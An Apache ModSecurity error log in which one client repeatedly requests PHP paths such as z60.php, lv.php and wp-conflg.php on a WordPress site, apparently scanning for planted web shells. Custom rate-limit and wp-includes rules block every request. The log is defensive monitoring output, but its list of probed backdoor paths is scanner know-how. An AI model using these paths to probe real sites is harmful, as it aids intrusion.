[Fri Feb 27 16:30:34.367615 2026] [:error] [pid 54231:tid 54250] [client 20.220.232.101:8107] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aaFWKuTvb5AeyJCdY7DQRAAAAFA"]
[Fri Feb 27 16:30:34.869998 2026] [:error] [pid 49306:tid 49319] [client 20.220.232.101:8181] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aaFWKvnSUDZue59Px9t-3gAAAUs"]
[Fri Feb 27 16:30:35.478335 2026] [:error] [pid 54102:tid 54157] [client 20.220.232.101:8161] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaFWK3i74D4fiYUm_GdIcgAAAI0"]
[Fri Feb 27 16:30:35.976313 2026] [:error] [pid 56075:tid 56077] [client 20.220.232.101:8069] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaFWK8KBhrfI6KNv9RgsvAAAAAA"]
[Fri Feb 27 16:30:36.480504 2026] [:error] [pid 54103:tid 54190] [client 20.220.232.101:8094] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaFWLOvG4MPCmE0B2sB10QAAANM"]
[Fri Feb 27 16:30:36.976629 2026] [:error] [pid 52073:tid 52084] [client 20.220.232.101:8105] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaFWLIa650YPyxXVeRZyfwAAAYg"]
[Fri Feb 27 16:30:37.577700 2026] [:error] [pid 49306:tid 49316] [client 20.220.232.101:8183] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aaFWLfnSUDZue59Px9t-4gAAAUg"]
[Fri Feb 27 16:30:38.100501 2026] [:error] [pid 62998:tid 63004] [client 20.220.232.101:8184] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aaFWLlQeueXZDUmoLonwkQAAAQI"]
[Fri Feb 27 16:30:38.564647 2026] [:error] [pid 49306:tid 49317] [client 20.220.232.101:8103] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aaFWLvnSUDZue59Px9t-5QAAAUk"]
[Fri Feb 27 16:30:39.044411 2026] [:error] [pid 54103:tid 54176] [client 20.220.232.101:8134] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aaFWL-vG4MPCmE0B2sB11AAAAMU"]
[Fri Feb 27 16:30:39.525124 2026] [:error] [pid 62998:tid 63015] [client 20.220.232.101:8146] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaFWL1QeueXZDUmoLonwkgAAAQ0"]
[Fri Feb 27 16:30:40.039050 2026] [:error] [pid 54231:tid 54255] [client 20.220.232.101:8018] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaFWMOTvb5AeyJCdY7DQVAAAAFU"]
[Fri Feb 27 16:30:40.488479 2026] [:error] [pid 49306:tid 49313] [client 20.220.232.101:8068] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaFWMPnSUDZue59Px9t-7wAAAUU"]
[Fri Feb 27 16:30:41.062719 2026] [:error] [pid 56075:tid 56091] [client 20.220.232.101:8078] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaFWMcKBhrfI6KNv9RgswwAAAA0"]
[Fri Feb 27 16:30:41.545154 2026] [:error] [pid 54102:tid 54160] [client 20.220.232.101:8087] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaFWMXi74D4fiYUm_GdIdgAAAJA"]
[Fri Feb 27 16:30:42.109909 2026] [:error] [pid 52073:tid 52095] [client 20.220.232.101:8072] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaFWMoa650YPyxXVeRZygwAAAZM"]
[Fri Feb 27 16:30:42.721111 2026] [:error] [pid 54102:tid 54153] [client 20.220.232.101:8092] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaFWMni74D4fiYUm_GdIegAAAIk"]
[Fri Feb 27 16:30:43.304011 2026] [:error] [pid 54102:tid 54155] [client 20.220.232.101:8117] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaFWM3i74D4fiYUm_GdIewAAAIs"]
[Fri Feb 27 16:30:43.832104 2026] [:error] [pid 52073:tid 52081] [client 20.220.232.101:8091] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaFWM4a650YPyxXVeRZyiAAAAYU"]
[Fri Feb 27 16:30:44.272256 2026] [:error] [pid 52073:tid 52100] [client 20.220.232.101:8172] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaFWNIa650YPyxXVeRZyigAAAZg"]
[Fri Feb 27 16:30:44.893117 2026] [:error] [pid 54101:tid 54121] [client 20.220.232.101:8089] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaFWNFY5qgRktcYTGFsiXQAAAc0"]
[Fri Feb 27 16:30:45.612920 2026] [:error] [pid 52073:tid 52098] [client 20.220.232.101:8127] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaFWNYa650YPyxXVeRZyiwAAAZY"]
[Fri Feb 27 16:30:46.177046 2026] [:error] [pid 52073:tid 52091] [client 20.220.232.101:8086] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aaFWNoa650YPyxXVeRZyjgAAAY8"]
[Fri Feb 27 16:30:46.667706 2026] [:error] [pid 52073:tid 52097] [client 20.220.232.101:8165] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aaFWNoa650YPyxXVeRZyjwAAAZU"]
[Fri Feb 27 16:30:47.213848 2026] [:error] [pid 52073:tid 52083] [client 20.220.232.101:8070] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aaFWN4a650YPyxXVeRZykAAAAYc"]
[Fri Feb 27 16:30:47.708899 2026] [:error] [pid 49306:tid 49311] [client 20.220.232.101:8030] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aaFWN_nSUDZue59Px9t-9wAAAUM"]
[Fri Feb 27 16:30:48.254373 2026] [:error] [pid 52073:tid 52080] [client 20.220.232.101:8159] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaFWOIa650YPyxXVeRZykQAAAYQ"]
[Fri Feb 27 16:30:48.799350 2026] [:error] [pid 52073:tid 52096] [client 20.220.232.101:8084] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaFWOIa650YPyxXVeRZykwAAAZQ"]
[Fri Feb 27 16:30:49.394489 2026] [:error] [pid 52073:tid 52090] [client 20.220.232.101:8190] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaFWOYa650YPyxXVeRZylAAAAY4"]
[Fri Feb 27 16:30:49.877514 2026] [:error] [pid 56075:tid 56097] [client 20.220.232.101:8004] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaFWOcKBhrfI6KNv9RgsyQAAABM"]
[Fri Feb 27 16:30:50.401841 2026] [:error] [pid 56075:tid 56077] [client 20.220.232.101:8164] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaFWOsKBhrfI6KNv9RgsygAAAAA"]
[Fri Feb 27 16:30:50.982120 2026] [:error] [pid 56075:tid 56098] [client 20.220.232.101:8076] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaFWOsKBhrfI6KNv9RgsywAAABQ"]
[Fri Feb 27 16:30:51.436880 2026] [:error] [pid 62998:tid 63024] [client 20.220.232.101:8052] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaFWO1QeueXZDUmoLonwlQAAARY"]
[Fri Feb 27 16:30:52.226915 2026] [:error] [pid 52073:tid 52100] [client 20.220.232.101:8133] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aaFWPIa650YPyxXVeRZymQAAAZg"]
[Fri Feb 27 16:30:52.779512 2026] [:error] [pid 49306:tid 49321] [client 20.220.232.101:8163] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaFWPPnSUDZue59Px9t--wAAAU0"]
[Fri Feb 27 16:30:53.280293 2026] [:error] [pid 49306:tid 49322] [client 20.220.232.101:8123] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaFWPfnSUDZue59Px9t-_wAAAU4"]
[Fri Feb 27 16:30:53.822653 2026] [:error] [pid 62998:tid 63009] [client 20.220.232.101:8019] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaFWPVQeueXZDUmoLonwnAAAAQc"]
[Fri Feb 27 16:30:54.348796 2026] [:error] [pid 62998:tid 63026] [client 20.220.232.101:8031] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaFWPlQeueXZDUmoLonwngAAARg"]
[Fri Feb 27 16:30:54.855839 2026] [:error] [pid 52073:tid 52098] [client 20.220.232.101:8108] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaFWPoa650YPyxXVeRZyngAAAZY"]
[Fri Feb 27 16:30:55.379086 2026] [:error] [pid 49306:tid 49317] [client 20.220.232.101:8038] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaFWP_nSUDZue59Px9t_BQAAAUk"]
[Fri Feb 27 16:30:55.913507 2026] [:error] [pid 49306:tid 49323] [client 20.220.232.101:8080] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaFWP_nSUDZue59Px9t_BgAAAU8"]
[Fri Feb 27 16:30:56.447405 2026] [:error] [pid 52073:tid 52090] [client 20.220.232.101:8180] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaFWQIa650YPyxXVeRZypQAAAY4"]
[Fri Feb 27 16:30:56.872682 2026] [:error] [pid 49306:tid 49311] [client 20.220.232.101:8008] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaFWQPnSUDZue59Px9t_BwAAAUM"]
[Fri Feb 27 16:30:57.366234 2026] [:error] [pid 62998:tid 63020] [client 20.220.232.101:8150] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaFWQVQeueXZDUmoLonwoAAAARI"]
[Fri Feb 27 16:30:58.087574 2026] [:error] [pid 52073:tid 52095] [client 20.220.232.101:8036] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaFWQoa650YPyxXVeRZypwAAAZM"]
[Fri Feb 27 16:30:58.700659 2026] [:error] [pid 52073:tid 52094] [client 20.220.232.101:7955] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaFWQoa650YPyxXVeRZyqAAAAZI"]
[Fri Feb 27 16:30:59.294724 2026] [:error] [pid 52073:tid 52077] [client 20.220.232.101:8035] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaFWQ4a650YPyxXVeRZyqgAAAYE"]
[Fri Feb 27 16:31:00.264277 2026] [:error] [pid 62998:tid 63021] [client 20.220.232.101:8059] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaFWRFQeueXZDUmoLonwogAAARM"]
[Fri Feb 27 16:31:01.046433 2026] [:error] [pid 54231:tid 54237] [client 20.220.232.101:8007] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaFWReTvb5AeyJCdY7DQXAAAAEM"]
[Fri Feb 27 16:31:01.707501 2026] [:error] [pid 56075:tid 56078] [client 20.220.232.101:8005] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaFWRcKBhrfI6KNv9Rgs0AAAAAE"]
[Fri Feb 27 16:31:02.171865 2026] [:error] [pid 52073:tid 52088] [client 20.220.232.101:8114] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaFWRoa650YPyxXVeRZyrwAAAYw"]
[Fri Feb 27 16:31:03.115668 2026] [:error] [pid 52073:tid 52077] [client 20.220.232.101:8160] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaFWR4a650YPyxXVeRZyswAAAYE"]
[Fri Feb 27 16:31:03.851950 2026] [:error] [pid 52073:tid 52098] [client 20.220.232.101:7953] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaFWR4a650YPyxXVeRZytgAAAZY"]
[Fri Feb 27 16:31:04.549676 2026] [:error] [pid 62998:tid 63006] [client 20.220.232.101:8043] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaFWSFQeueXZDUmoLonwqAAAAQQ"]
[Fri Feb 27 16:31:05.267076 2026] [:error] [pid 56075:tid 56102] [client 20.220.232.101:8143] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaFWScKBhrfI6KNv9Rgs0wAAABg"]
[Fri Feb 27 16:31:05.851236 2026] [:error] [pid 49306:tid 49327] [client 20.220.232.101:8058] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaFWSfnSUDZue59Px9t_DQAAAVM"]
[Fri Feb 27 16:31:26.313458 2026] [:error] [pid 49306:tid 49331] [client 20.220.232.101:8168] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaFWXvnSUDZue59Px9t_JwAAAVc"]
